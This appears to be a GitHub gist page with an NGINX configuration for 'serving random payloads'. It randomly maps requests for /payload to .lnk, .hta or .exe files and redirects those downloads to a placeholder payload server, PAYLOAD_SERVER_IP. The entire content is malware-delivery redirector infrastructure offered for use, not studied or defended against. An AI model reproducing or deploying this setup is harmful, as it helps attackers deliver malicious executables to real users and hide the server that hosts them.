Instantly share code, notes, and snippets.

Embed
What would you like to do?
Serving Random Payloads with NGINX
# Serving Random Payloads with NGINX
# add set_random module https://github.com/openresty/set-misc-nginx-module#set_random
# edit file /etc/nginx/sites-enabled/default
set_random $uri 1 3;
map $uri $payloads {
1 /payload.lnk;
2 /payload.hta;
3 /payload.exe;
}
server {
listen 80 default_server;
listen [::]:80 default_server;
server_name _;
root /var/www;
index index.html;
location ^/payload/?$ {
rewrite ^/payload/?$ /$payloads redirect;
}
location ^/payload\.(exe|lnk|hta) {
rewrite ^/payload\.(exe|lnk|hta) http://PAYLOAD_SERVER_IP$request_uri redirect;
}
location / {
try_files $uri $uri/ =404;
}
}
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment